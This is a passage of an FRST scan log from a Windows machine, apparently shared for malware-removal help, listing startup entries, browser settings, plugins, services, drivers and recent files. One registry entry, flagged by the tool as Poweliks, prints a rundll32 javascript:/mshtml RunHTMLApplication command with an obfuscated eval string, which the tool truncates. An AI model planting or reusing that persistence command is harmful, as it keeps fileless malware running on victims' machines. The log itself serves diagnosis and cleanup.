2014-08-22] (Microsoft Corporation)HKLM-x32\...\Run: [NUSB3MON] => C:\Program Files (x86)\NEC Electronics\USB 3.0 Host Controller Driver\Application\nusb3mon.exe [106496 2009-11-20] (NEC Electronics Corporation)HKLM-x32\...\Run: [ATICustomerCare] => C:\Program Files (x86)\ATI\ATICustomerCare\ATICustomerCare.exe [311296 2010-03-04] (Advanced Micro Devices, Inc.)HKLM-x32\...\Run: [instaLAN] => C:\Program Files (x86)\Belkin\Router Setup and Monitor\BelkinRouterMonitor.exe [1485208 2010-07-28] (Affinegy, Inc.)HKLM-x32\...\Run: [AppleSyncNotifier] => C:\Program Files (x86)\Common Files\Apple\Mobile Device Support\AppleSyncNotifier.exeHKLM-x32\...\Run: [APSDaemon] => C:\Program Files (x86)\Common Files\Apple\Apple Application Support\APSDaemon.exe [60712 2014-10-11] (Apple Inc.)HKLM-x32\...\Run: [ROC_roc_dec12] => "C:\Program Files (x86)\AVG Secure Search\ROC_roc_dec12.exe" /PROMPT /CMPID=roc_dec12HKLM-x32\...\Run: [HPUsageTrackingLEDM] => C:\Program Files (x86)\HP\HP UT LEDM\bin\hppusg.exe [30264 2009-08-04] (Hewlett-Packard Company)HKLM-x32\...\Run: [Communicator] => C:\Program Files (x86)\Microsoft Lync\communicator.exe [12117312 2014-05-01] (Microsoft Corporation)HKLM-x32\...\Run: [DivXMediaServer] => C:\Program Files (x86)\DivX\DivX Media Server\DivXMediaServer.exe [450560 2013-08-21] (DivX, LLC)HKLM-x32\...\Run: [TkBellExe] => c:\program files (x86)\real\realplayer\Update\realsched.exe [295512 2013-09-04] (RealNetworks, Inc.)HKLM-x32\...\Run: [DivXUpdate] => C:\Program Files (x86)\DivX\DivX Update\DivXUpdate.exe [1861968 2013-08-28] ()HKLM-x32\...\Run: [startCCC] => C:\Program Files (x86)\ATI Technologies\ATI.ACE\Core-Static\amd64\CLIStart.exe [766208 2013-08-30] (Advanced Micro Devices, Inc.)HKLM-x32\...\Run: [Adobe ARM] => C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARM.exe [1021128 2014-11-20] (Adobe Systems Incorporated)HKLM-x32\...\Run: [sunJavaUpdateSched] => C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe [271744 2014-09-26] (Oracle Corporation)HKLM-x32\...\Run: [iTunesHelper] => C:\Program Files (x86)\iTunes\iTunesHelper.exe [157480 2014-10-15] (Apple Inc.)HKLM-x32\...\Run: [QuickTime Task] => C:\Program Files (x86)\QuickTime\QTTask.exe [421888 2014-10-02] (Apple Inc.)HKLM-x32\...\RunOnce: [AvgUninstallURL] => cmd.exe /c start http://www.avg.com/ww.special-uninstallation-feedback-app?lic=OQBJAC0ATgAzAEcANABDAC0ANwA3AFkATQBNAC0AMgBUAFYASABBAC0AWABEADgANgBTAC0ATAA0AFYANABZAA"&"inst=NwA2AC0ANQAwADkANwA3ADIAOAAzADAALQBYAE8AMwA2ACsAMQAtAFQAQgA5ACsAMgAtAE4AMQBEACsAMQAtAFAATAArADkALQBDAEkAQQA5ADAAKwAyAC0ARABEAFQAKwAyADYANQA2ADMALQBEAEQAOQAwACsAMQAtAFMAVAA5ADAAQQBQAFAAKwAxAC0AUAA5ADAATQAxADIAQwArADEALQBVADkANQArADEALQBUAEIAKwAxAC0AUAA5ADAAVQArADEALQBQADkAMABVADEAKwAxAC0AUAA5ADAAVABCACsAMgA"&"prod=94"&"ver=9.0.894HKU\S-1-5-21-3876090227-2952970025-1856670965-1001\...\Run: [Google Update] => C:\Users\Hagar\AppData\Local\Google\Update\GoogleUpdate.exe [107912 2014-10-22] (Google Inc.)HKU\S-1-5-21-3876090227-2952970025-1856670965-1001\...\Run: [backgroundSwitcher] => C:\Program Files (x86)\johnsadventures.com\John's Background Switcher\BackgroundSwitcher.exe [119104 2011-06-02] (johnsadventures.com)HKU\S-1-5-21-3876090227-2952970025-1856670965-1001\...\Run: [OfficeSyncProcess] => "C:\Program Files (x86)\Common Files\Microsoft Shared\Virtualization Handler\CVH.EXE" /quietlaunch "MSOSYNC 9014006604090000"HKU\S-1-5-21-3876090227-2952970025-1856670965-1001\...\Run: [skyDrive] => C:\Users\Hagar\AppData\Local\Microsoft\SkyDrive\SkyDrive.exe [277672 2014-11-15] (Microsoft Corporation)HKU\S-1-5-21-3876090227-2952970025-1856670965-1001\...\RunOnce: [Adobe Speed Launcher] => 1420137972HKU\S-1-5-21-3876090227-2952970025-1856670965-1001\...\MountPoints2: {4c96ad0d-cb85-11e2-80f0-1c6f6527da81} - E:\StartClickFreeBackup.exeHKU\S-1-5-21-3876090227-2952970025-1856670965-1001\...\MountPoints2: {65db583b-d7dc-11e1-ad8a-1c6f6527da81} - E:\LaunchU3.exe -aHKU\S-1-5-21-3876090227-2952970025-1856670965-1001\...A8F59079A8D5}\localserver32: rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("epdvnfou/xsjuf)(=tdsjqu!mbohvbhf> (the data entry has 243 more characters). <==== Poweliks!Startup: C:\Users\Hagar\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Dropbox.lnkShortcutTarget: Dropbox.lnk -> C:\Users\Hagar\AppData\Roaming\Dropbox\bin\Dropbox.exe (Dropbox, Inc.)==================== Internet (Whitelisted) ====================(If an item is included in the fixlist, if it is a registry item it will be removed or restored to default.)HKU\S-1-5-21-3876090227-2952970025-1856670965-1001\Software\Microsoft\Internet Explorer\Main,Start Page = about:blankHKU\S-1-5-21-3876090227-2952970025-1856670965-1001\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = http://www.msn.comSearchScopes: HKLM -> {050F6D2A-CD2C-4CCF-A95E-9A59CEE646C0} URL = http://www.bing.com/search?q={searchTerms}&form=MNMTDF&pc=MANM&src=IE-SearchBoxSearchScopes: HKLM-x32 -> {52A54A6E-3E27-4A22-A928-6755ADA9CFFC} URL = http://www.bing.com/search?q={searchTerms}&form=MNMTDF&pc=MANM&src=IE-SearchBoxSearchScopes: HKU\.DEFAULT -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL =SearchScopes: HKU\S-1-5-19 -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL =SearchScopes: HKU\S-1-5-20 -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL =SearchScopes: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001 -> DefaultScope {8D85CC59-8DFC-49C1-AC41-1B9714CF5D69} URL = http://www.google.com/search?q={searchTerms}&rls=com.microsoft:{language}&ie={inputEncoding}&oe={outputEncoding}&startIndex={startIndex?}&startPage={startPage}SearchScopes: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001 -> {27E4E3C4-0CDE-4565-9E53-114153EFD308} URL = http://search.yahoo.com/search?fr=chr-greentree_ie&ei=utf-8&ilc=12&type=937811&p={searchTerms}SearchScopes: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001 -> {52A54A6E-3E27-4A22-A928-6755ADA9CFFC} URL =SearchScopes: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001 -> {8D85CC59-8DFC-49C1-AC41-1B9714CF5D69} URL = http://www.google.com/search?q={searchTerms}&rls=com.microsoft:{language}&ie={inputEncoding}&oe={outputEncoding}&startIndex={startIndex?}&startPage={startPage}BHO: Windows Live ID Sign-in Helper -> {9030D464-4C02-4ABF-8ECC-5164760863C6} -> C:\Program Files\Common Files\Microsoft Shared\Windows Live\WindowsLiveLogin.dll (Microsoft Corp.)BHO-x32: RealNetworks Download and Record Plugin for Internet Explorer -> {3049C3E9-B461-4BC5-8870-4C09146192CA} -> C:\ProgramData\RealNetworks\RealDownloader\BrowserPlugins\IE\rndlbrowserrecordplugin.dll (RealDownloader)BHO-x32: Lync Browser Helper -> {31D09BA0-12F5-4CCE-BE8A-2923E76605DA} -> C:\Program Files (x86)\Microsoft Lync\OCHelper.dll (Microsoft Corporation)BHO-x32: Search Helper -> {6EBF7485-159F-4bff-A14F-B9E3AAC4465B} -> C:\Program Files (x86)\Microsoft\Search Enhancement Pack\Search Helper\SEPsearchhelperie.dll (Microsoft Corporation)BHO-x32: Java Plug-In SSV Helper -> {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} -> C:\Program Files (x86)\Java\jre7\bin\ssv.dll (Oracle Corporation)BHO-x32: Windows Live ID Sign-in Helper -> {9030D464-4C02-4ABF-8ECC-5164760863C6} -> C:\Program Files (x86)\Common Files\Microsoft Shared\Windows Live\WindowsLiveLogin.dll (Microsoft Corp.)BHO-x32: Java Plug-In 2 SSV Helper -> {DBC80044-A445-435b-BC74-9C25C1C588A9} -> C:\Program Files (x86)\Java\jre7\bin\jp2ssv.dll (Oracle Corporation)Toolbar: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001 -> No Name - {21FA44EF-376D-4D53-9B0F-8A89D3229068} - No FileDPF: HKLM-x32 {D27CDB6E-AE6D-11CF-96B8-444553540000} http://fpdownload2.macromedia.com/get/shockwave/cabs/flash/swflash.cabDPF: HKLM-x32 {E06E2E99-0AA1-11D4-ABA6-0060082AA75C} https://akamaicdn.webex.com/client/WBXclient-T28L10NSP12_CP1-16851/webex/ieatgpc1.cabDPF: HKLM-x32 {E2883E8F-472F-4FB0-9522-AC9BF37916A7} http://platformdl.adobe.com/NOS/getPlusPlus/1.6/gp.cabTcpip\Parameters: [DhcpNameServer] 192.168.10.1FireFox:========FF ProfilePath: C:\Users\Hagar\AppData\Roaming\Mozilla\Firefox\Profiles\s1ilaic7.defaultFF DefaultSearchEngine: YahooFF SelectedSearchEngine: YahooFF Keyword.URL: hxxp://search.yahoo.com/search?fr=greentree_ff1&ei=utf-8&ilc=12&type=937811&p=FF NetworkProxy: "no_proxies_on", "*.local"FF NetworkProxy: "type", 0FF Plugin: @adobe.com/FlashPlayer -> C:\Windows\system32\Macromed\Flash\NPSWF64_11_9_900_170.dll ()FF Plugin: @divx.com/DivX VOD Helper,version=1.0.0 -> C:\Program Files\DivX\DivX OVS Helper\npovshelper.dll (DivX, LLC.)FF Plugin: @microsoft.com/GENUINE -> disabled No FileFF Plugin: @Microsoft.com/NpCtrl,version=1.0 -> c:\Program Files\Microsoft Silverlight\5.1.30514.0\npctrl.dll ( Microsoft Corporation)FF Plugin: adobe.com/AdobeAAMDetect -> C:\Program Files (x86)\Common Files\Adobe\OOBE\PDAPP\CCM\Utilities\npAdobeAAMDetect64.dll No FileFF Plugin-x32: @adobe.com/FlashPlayer -> C:\Windows\SysWOW64\Macromed\Flash\NPSWF32_11_9_900_170.dll ()FF Plugin-x32: @Apple.com/iTunes,version=1.0 -> C:\Program Files (x86)\iTunes\Mozilla Plugins\npitunes.dll ()FF Plugin-x32: @divx.com/DivX VOD Helper,version=1.0.0 -> C:\Program Files (x86)\DivX\DivX OVS Helper\npovshelper.dll (DivX, LLC.)FF Plugin-x32: @divx.com/DivX Web Player Plug-In,version=1.0.0 -> C:\Program Files (x86)\DivX\DivX Web Player\npdivx32.dll (DivX, LLC)FF Plugin-x32: @Google.com/GoogleEarthPlugin -> C:\Program Files (x86)\Google\Google Earth\plugin\npgeplugin.dll (Google)FF Plugin-x32: @java.com/DTPlugin,version=10.71.2 -> C:\Program Files (x86)\Java\jre7\bin\dtplugin\npDeployJava1.dll (Oracle Corporation)FF Plugin-x32: @java.com/JavaPlugin,version=10.71.2 -> C:\Program Files (x86)\Java\jre7\bin\plugin2\npjp2.dll (Oracle Corporation)FF Plugin-x32: @microsoft.com/GENUINE -> disabled No FileFF Plugin-x32: @Microsoft.com/NpCtrl,version=1.0 -> c:\Program Files (x86)\Microsoft Silverlight\5.1.30514.0\npctrl.dll ( Microsoft Corporation)FF Plugin-x32: @microsoft.com/WLPG,version=15.4.3502.0922 -> C:\Program Files (x86)\Windows Live\Photo Gallery\NPWLPG.dll (Microsoft Corporation)FF Plugin-x32: @microsoft.com/WLPG,version=15.4.3508.1109 -> C:\Program Files (x86)\Windows Live\Photo Gallery\NPWLPG.dll (Microsoft Corporation)FF Plugin-x32: @microsoft.com/WLPG,version=15.4.3555.0308 -> C:\Program Files (x86)\Windows Live\Photo Gallery\NPWLPG.dll (Microsoft Corporation)FF Plugin-x32: @real.com/nppl3260;version=16.0.3.51 -> c:\program files (x86)\real\realplayer\Netscape6\nppl3260.dll (RealNetworks, Inc.)FF Plugin-x32: @real.com/nprndlchromebrowserrecordext;version=1.3.3 -> C:\ProgramData\RealNetworks\RealDownloader\BrowserPlugins\MozillaPlugins\nprndlchromebrowserrecordext.dll (RealNetworks, Inc.)FF Plugin-x32: @real.com/nprndlhtml5videoshim;version=1.3.3 -> C:\ProgramData\RealNetworks\RealDownloader\BrowserPlugins\MozillaPlugins\nprndlhtml5videoshim.dll (RealNetworks, Inc.)FF Plugin-x32: @real.com/nprndlpepperflashvideoshim;version=1.3.3 -> C:\ProgramData\RealNetworks\RealDownloader\BrowserPlugins\MozillaPlugins\nprndlpepperflashvideoshim.dll (RealNetworks, Inc.)FF Plugin-x32: @real.com/nprpplugin;version=16.0.3.51 -> c:\program files (x86)\real\realplayer\Netscape6\nprpplugin.dll (RealPlayer)FF Plugin-x32: @realnetworks.com/npdlplugin;version=1 -> C:\ProgramData\RealNetworks\RealDownloader\BrowserPlugins\npdlplugin.dll (RealDownloader)FF Plugin-x32: @tools.google.com/Google Update;version=3 -> C:\Program Files (x86)\Google\Update\1.3.25.11\npGoogleUpdate3.dll (Google Inc.)FF Plugin-x32: @tools.google.com/Google Update;version=9 -> C:\Program Files (x86)\Google\Update\1.3.25.11\npGoogleUpdate3.dll (Google Inc.)FF Plugin-x32: Adobe Reader -> C:\Program Files (x86)\Adobe\Reader 11.0\Reader\AIR\nppdf32.dll (Adobe Systems Inc.)FF Plugin HKU\S-1-5-21-3876090227-2952970025-1856670965-1001: @citrixonline.com/appdetectorplugin -> C:\Users\Hagar\AppData\Local\Citrix\Plugins\104\npappdetector.dll (Citrix Online)FF Plugin HKU\S-1-5-21-3876090227-2952970025-1856670965-1001: @tools.google.com/Google Update;version=3 -> C:\Users\Hagar\AppData\Local\Google\Update\1.3.25.11\npGoogleUpdate3.dll (Google Inc.)FF Plugin HKU\S-1-5-21-3876090227-2952970025-1856670965-1001: @tools.google.com/Google Update;version=9 -> C:\Users\Hagar\AppData\Local\Google\Update\1.3.25.11\npGoogleUpdate3.dll (Google Inc.)FF Plugin ProgramFiles/Appdata: C:\Program Files (x86)\mozilla firefox\plugins\np-mswmp.dll (Microsoft Corporation)FF Plugin ProgramFiles/Appdata: C:\Program Files (x86)\mozilla firefox\plugins\npMeetingJoinPluginOC.dll ()FF Plugin ProgramFiles/Appdata: C:\Program Files (x86)\mozilla firefox\plugins\nppdf32.dll (Adobe Systems Inc.)FF Plugin ProgramFiles/Appdata: C:\Program Files (x86)\mozilla firefox\plugins\nppl3260.dll (RealNetworks, Inc.)FF Plugin ProgramFiles/Appdata: C:\Program Files (x86)\mozilla firefox\plugins\npqtplugin.dll (Apple Inc.)FF Plugin ProgramFiles/Appdata: C:\Program Files (x86)\mozilla firefox\plugins\npqtplugin2.dll (Apple Inc.)FF Plugin ProgramFiles/Appdata: C:\Program Files (x86)\mozilla firefox\plugins\npqtplugin3.dll (Apple Inc.)FF Plugin ProgramFiles/Appdata: C:\Program Files (x86)\mozilla firefox\plugins\npqtplugin4.dll (Apple Inc.)FF Plugin ProgramFiles/Appdata: C:\Program Files (x86)\mozilla firefox\plugins\npqtplugin5.dll (Apple Inc.)FF Plugin ProgramFiles/Appdata: C:\Program Files (x86)\mozilla firefox\plugins\nprpplugin.dll (RealPlayer)FF Plugin ProgramFiles/Appdata: C:\Program Files (x86)\mozilla firefox\plugins\npwachk.dll (Nullsoft, Inc.)FF Extension: Java Console - C:\Program Files (x86)\Mozilla Firefox\extensions\{CAFEEFAC-0016-0000-0033-ABCDEFFEDCBA} [2014-02-11]FF Extension: Java Console - C:\Program Files (x86)\Mozilla Firefox\extensions\{CAFEEFAC-0016-0000-0035-ABCDEFFEDCBA} [2014-02-11]FF Extension: Java Console - C:\Program Files (x86)\Mozilla Firefox\extensions\{CAFEEFAC-0016-0000-0037-ABCDEFFEDCBA} [2014-02-11]FF HKLM-x32\...\Firefox\Extensions: [{ABDE892B-13A8-4d1b-88E6-365A6E755758}] - C:\ProgramData\RealNetworks\RealDownloader\BrowserPlugins\Firefox\ExtFF Extension: RealDownloader - C:\ProgramData\RealNetworks\RealDownloader\BrowserPlugins\Firefox\Ext [2013-09-04]FF HKLM-x32\...\Firefox\Extensions: [{DF153AFF-6948-45d7-AC98-4FC4AF8A08E2}] - C:\ProgramData\RealNetworks\RealDownloader\BrowserPlugins\Firefox\ExtChrome:=======CHR HomePage: Default -> hxxp://www.google.com/CHR StartupUrls: Default -> "about:blank"CHR DefaultSearchKeyword: Default -> duckduckgo.comCHR DefaultSearchURL: Default -> https://duckduckgo.com/?q={searchTerms}CHR DefaultSuggestURL: Default -> https://ac.duckduckgo.com/ac/?q={searchTerms}&type=listCHR Profile: C:\Users\Hagar\AppData\Local\Google\Chrome\User Data\DefaultCHR Extension: (Google Voice Search Hotword (Beta)) - C:\Users\Hagar\AppData\Local\Google\Chrome\User Data\Default\Extensions\bepbmhgboaologfdajaanbcjmnhjmhfn [2014-05-21]CHR Extension: (RealDownloader) - C:\Users\Hagar\AppData\Local\Google\Chrome\User Data\Default\Extensions\idhngdhcfkoamngbedgpaokgjbnpdiji [2013-01-12]CHR Extension: (Google Wallet) - C:\Users\Hagar\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda [2013-08-28]CHR HKLM-x32\...\Chrome\Extension: [idhngdhcfkoamngbedgpaokgjbnpdiji] - C:\ProgramData\RealNetworks\RealDownloader\BrowserPlugins\Chrome\Ext\realdownloader.crx [2013-08-14]CHR StartMenuInternet: Google Chrome - C:\Users\Hagar\AppData\Local\Google\Chrome\Application\chrome.exe==================== Services (Whitelisted) =================(If an entry is included in the fixlist, the service will be removed from the registry. The file will not be moved unless listed separately.)R2 AdobeActiveFileMonitor10.0; C:\Program Files (x86)\Adobe\Elements 10 Organizer\PhotoshopElementsFileAgent.exe [169624 2011-09-01] (Adobe Systems Incorporated)R2 AffinegyService; C:\Program Files (x86)\Belkin\Router Setup and Monitor\BelkinService.exe [569752 2010-07-28] (Affinegy, Inc.)R2 AMD FUEL Service; C:\Program Files\ATI Technologies\ATI.ACE\Fuel\Fuel.Service.exe [344064 2013-08-30] (Advanced Micro Devices, Inc.) [File not signed]R2 HP LaserJet Service; C:\Program Files (x86)\HP\HPLaserJetService\HPLaserJetService.exe [136704 2009-06-24] (HP) [File not signed]R2 MBAMScheduler; C:\Program Files (x86)\Malwarebytes Anti-Malware\mbamscheduler.exe [1871160 2014-11-21] (Malwarebytes Corporation)R2 MBAMService; C:\Program Files (x86)\Malwarebytes Anti-Malware\mbamservice.exe [969016 2014-11-21] (Malwarebytes Corporation)R2 MsMpSvc; c:\Program Files\Microsoft Security Client\MsMpEng.exe [23784 2014-08-22] (Microsoft Corporation)R2 msoidsvc; C:\Program Files\Common Files\Microsoft Shared\Microsoft Online Services\MSOIDSVC.EXE [2078112 2011-09-28] (Microsoft Corp.)R3 NisSrv; c:\Program Files\Microsoft Security Client\NisSrv.exe [368624 2014-08-22] (Microsoft Corporation)R2 PnkBstrA; C:\Windows\SysWOW64\PnkBstrA.exe [75064 2013-09-24] ()R2 RealNetworks Downloader Resolver Service; C:\Program Files (x86)\RealNetworks\RealDownloader\rndlresolversvc.exe [39056 2013-08-14] ()==================== Drivers (Whitelisted) ====================(If an entry is included in the fixlist, the service will be removed from the registry. The file will not be moved unless listed separately.)S3 ASPI; C:\Windows\SysWOW64\DRIVERS\ASPI32.sys [84832 2002-07-17] (Adaptec) [File not signed]S3 libusb0; C:\Windows\SysWOW64\drivers\libusb0.sys [21504 2010-06-24] (http://libusb-win32.sourceforge.net)R1 mbamchameleon; C:\Windows\system32\drivers\mbamchameleon.sys [93400 2014-11-21] (Malwarebytes Corporation)R3 MBAMProtector; C:\Windows\system32\drivers\mbam.sys [25816 2014-11-21] (Malwarebytes Corporation)R3 MBAMSwissArmy; C:\Windows\system32\drivers\MBAMSwissArmy.sys [129752 2015-01-01] (Malwarebytes Corporation)R3 MBAMWebAccessControl; C:\Windows\system32\drivers\mwac.sys [63704 2014-11-21] (Malwarebytes Corporation)R0 MpFilter; C:\Windows\System32\DRIVERS\MpFilter.sys [269008 2014-07-17] (Microsoft Corporation)R3 mvusbews; C:\Windows\System32\Drivers\mvusbews.sys [20480 2012-12-24] (Marvell Semiconductor, Inc.)R2 NisDrv; C:\Windows\System32\DRIVERS\NisDrvWFP.sys [125584 2014-07-17] (Microsoft Corporation)U5 VWiFiFlt; C:\Windows\System32\Drivers\VWiFiFlt.sys [59904 2009-07-13] (Microsoft Corporation)S3 gdrv; \??\C:\Windows\gdrv.sys [X]==================== NetSvcs (Whitelisted) ===================(If an item is included in the fixlist, it will be removed from the registry. Any associated file could be listed separately to be moved.)==================== One Month Created Files and Folders ========(If an entry is included in the fixlist, the file\folder will be moved.)2014-12-31 16:02 - 2014-12-31 16:02 - 00000000 ____D () C:\Program Files (x86)\ESET2014-12-31 07:41 - 2014-12-31 07:41 - 00000000 ____D () C:\Windows\ERUNT2014-12-31 07:27 - 2014-12-31 07:29 - 00000000 ____D () C:\AdwCleaner2014-12-29 09:48 - 2015-01-01 13:53 - 00000000 ____D () C:\FRST2014-12-27 15:10 - 2014-12-27 15:10 - 00000000 ___HD () C:\OneDriveTemp2014-12-18 12:30 - 2014-12-13 00:09 - 00144384 _____ (Microsoft Corporation) C:\Windows\system32\ieUnatt.exe2014-12-18 12:30 - 2014-12-12 22:33 - 00115712 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieUnatt.exe2014-12-13 15:52 - 2014-12-27 22:51 - 00003340 _____ () C:\Windows\System32\Tasks\RealPlayerRealUpgradeScheduledTaskS-1-5-21-3876090227-2952970025-1856670965-10012014-12-13 15:52 - 2014-12-27 22:51 - 00003206 _____ () C:\Windows\System32\Tasks\RealPlayerRealUpgradeLogonTaskS-1-5-21-3876090227-2952970025-1856670965-10012014-12-12 06:30 - 2014-12-12 06:30 - 00129752 _____ (Malwarebytes Corporation) C:\Windows\system32\Drivers\688B5820.sys2014-12-11 06:12 - 2014-12-11 14:42 - 00129752 _____ (Malwarebytes Corporation) C:\Windows\system32\Drivers\25387B9A.sys2014-12-10 08:25 - 2015-01-01 13:45 - 00003362 _____ () C:\Windows\System32\Tasks\RealDownloaderRealUpgradeScheduledTaskS-1-5-21-3876090227-2952970025-1856670965-10012014-12-10 08:25 - 2015-01-01 13:45 - 00003228 _____ () C:\Windows\System32\Tasks\RealDownloaderRealUpgradeLogonTaskS-1-5-21-3876090227-2952970025-1856670965-10012014-12-10 07:52 - 2014-10-17 21:05 - 04121600 _____ (Microsoft Corporation) C:\Windows\system32\mf.dll2014-12-10 07:52 - 2014-10-17 20:33 - 03209728 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mf.dll2014-12-10 07:50 - 2014-11-26 20:43 - 00389296 _____ (Microsoft Corporation) C:\Windows\system32\iedkcs32.dll2014-12-10 07:50 - 2014-11-26 20:10 - 00342200 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iedkcs32.dll2014-12-10 07:50 - 2014-11-21 22:13 - 25059840 _____ (Microsoft Corporation) C:\Windows\system32\mshtml.dll2014-12-10 07:50 - 2014-11-21 22:06 - 02724864 _____ (Microsoft Corporation) C:\Windows\system32\mshtml.tlb2014-12-10 07:50 - 2014-11-21 22:06 - 00004096 _____ (Microsoft Corporation) C:\Windows\system32\ieetwcollectorres.dll2014-12-10 07:50 - 2014-11-21 21:50 - 00580096 _____ (Microsoft Corporation) C:\Windows\system32\vbscript.dll2014-12-10 07:50 - 2014-11-21 21:50 - 00066560 _____ (Microsoft Corporation) C:\Windows\system32\iesetup.dll2014-12-10 07:50 - 2014-11-21 21:49 - 02885120 _____ (Microsoft Corporation) C:\Windows\system32\iertutil.dll2014-12-10 07:50 - 2014-11-21 21:49 - 00048640 _____ (Microsoft Corporation) C:\Windows\system32\ieetwproxystub.dll2014-12-10 07:50 - 2014-11-21 21:48 - 00088064 _____ (Microsoft Corporation) C:\Windows\system32\MshtmlDac.dll2014-12-10 07:50 - 2014-11-21 21:41 - 00054784 _____ (Microsoft Corporation) C:\Windows\system32\jsproxy.dll2014-12-10 07:50 - 2014-11-21 21:40 - 00034304 _____ (Microsoft Corporation) C:\Windows\system32\iernonce.dll2014-12-10 07:50 - 2014-11-21 21:37 - 00633856 _____ (Microsoft Corporation) C:\Windows\system32\ieui.dll2014-12-10 07:50 - 2014-11-21 21:35 - 00114688 _____ (Microsoft Corporation) C:\Windows\system32\ieetwcollector.exe2014-12-10 07:50 - 2014-11-21 21:34 - 06039552 _____ (Microsoft Corporation) C:\Windows\system32\jscript9.dll2014-12-10 07:50 - 2014-11-21 21:34 - 00814080 _____ (Microsoft Corporation) C:\Windows\system32\jscript9diag.dll2014-12-10 07:50 - 2014-11-21 21:26 - 00968704 _____ (Microsoft Corporation) C:\Windows\system32\MsSpellCheckingFacility.exe2014-12-10 07:50 - 2014-11-21 21:22 - 19749376 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mshtml.dll2014-12-10 07:50 - 2014-11-21 21:22 - 00490496 _____ (Microsoft Corporation) C:\Windows\system32\dxtmsft.dll2014-12-10 07:50 - 2014-11-21 21:20 - 02724864 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mshtml.tlb2014-12-10 07:50 - 2014-11-21 21:14 - 00077824 _____ (Microsoft Corporation) C:\Windows\system32\JavaScriptCollectionAgent.dll2014-12-10 07:50 - 2014-11-21 21:09 - 00199680 _____ (Microsoft Corporation) C:\Windows\system32\msrating.dll2014-12-10 07:50 - 2014-11-21 21:08 - 00092160 _____ (Microsoft Corporation) C:\Windows\system32\mshtmled.dll2014-12-10 07:50 - 2014-11-21 21:07 - 00501248 _____ (Microsoft Corporation) C:\Windows\SysWOW64\vbscript.dll2014-12-10 07:50 - 2014-11-21 21:07 - 00062464 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iesetup.dll2014-12-10 07:50 - 2014-11-21 21:06 - 00047616 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieetwproxystub.dll2014-12-10 07:50 - 2014-11-21 21:05 - 00316928 _____ (Microsoft Corporation) C:\Windows\system32\dxtrans.dll2014-12-10 07:50 - 2014-11-21 21:05 - 00064000 _____ (Microsoft Corporation) C:\Windows\SysWOW64\MshtmlDac.dll2014-12-10 07:50 - 2014-11-21 21:01 - 02277888 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iertutil.dll2014-12-10 07:50 - 2014-11-21 20:59 - 00047104 _____ (Microsoft Corporation) C:\Windows\SysWOW64\jsproxy.dll2014-12-10 07:50 - 2014-11-21 20:58 - 00030720 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iernonce.dll2014-12-10 07:50 - 2014-11-21 20:56 - 00478208 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieui.dll2014-12-10 07:50 - 2014-11-21 20:54 - 00620032 _____ (Microsoft Corporation) C:\Windows\SysWOW64\jscript9diag.dll2014-12-10 07:50 - 2014-11-21 20:49 - 00800768 _____ (Microsoft Corporation) C:\Windows\system32\msfeeds.dll2014-12-10 07:50 - 2014-11-21 20:49 - 00718848 _____ (Microsoft Corporation) C:\Windows\system32\ie4uinit.exe2014-12-10 07:50 - 2014-11-21 20:47 - 01359360 _____ (Microsoft Corporation) C:\Windows\system32\mshtmlmedia.dll2014-12-10 07:50 - 2014-11-21 20:46 - 02125312 _____ (Microsoft Corporation) C:\Windows\system32\inetcpl.cpl2014-12-10 07:50 - 2014-11-21 20:45 - 00418304 _____ (Microsoft Corporation) C:\Windows\SysWOW64\dxtmsft.dll2014-12-10 07:50 - 2014-11-21 20:43 - 14412800 _____ (Microsoft Corporation) C:\Windows\system32\ieframe.dll2014-12-10 07:50 - 2014-11-21 20:40 - 00060416 _____ (Microsoft Corporation) C:\Windows\SysWOW64\JavaScriptCollectionAgent.dll2014-12-10 07:50 - 2014-11-21 20:36 - 00168960 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msrating.dll2014-12-10 07:50 - 2014-11-21 20:35 - 00076288 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mshtmled.dll2014-12-10 07:50 - 2014-11-21 20:33 - 00285696 _____ (Microsoft Corporation) C:\Windows\SysWOW64\dxtrans.dll2014-12-10 07:50 - 2014-11-21 20:29 - 04299264 _____ (Microsoft Corporation) C:\Windows\SysWOW64\jscript9.dll2014-12-10 07:50 - 2014-11-21 20:28 - 02358272 _____ (Microsoft Corporation) C:\Windows\system32\wininet.dll2014-12-10 07:50 - 2014-11-21 20:23 - 00688640 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msfeeds.dll2014-12-10 07:50 - 2014-11-21 20:22 - 02052096 _____ (Microsoft Corporation) C:\Windows\SysWOW64\inetcpl.cpl2014-12-10 07:50 - 2014-11-21 20:21 - 01155072 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mshtmlmedia.dll2014-12-10 07:50 - 2014-11-21 20:15 - 01548288 _____ (Microsoft Corporation) C:\Windows\system32\urlmon.dll2014-12-10 07:50 - 2014-11-21 20:13 - 12836864 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieframe.dll2014-12-10 07:50 - 2014-11-21 20:03 - 00800768 _____ (Microsoft Corporation) C:\Windows\system32\ieapfltr.dll2014-12-10 07:50 - 2014-11-21 20:00 - 01888256 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wininet.dll2014-12-10 07:50 - 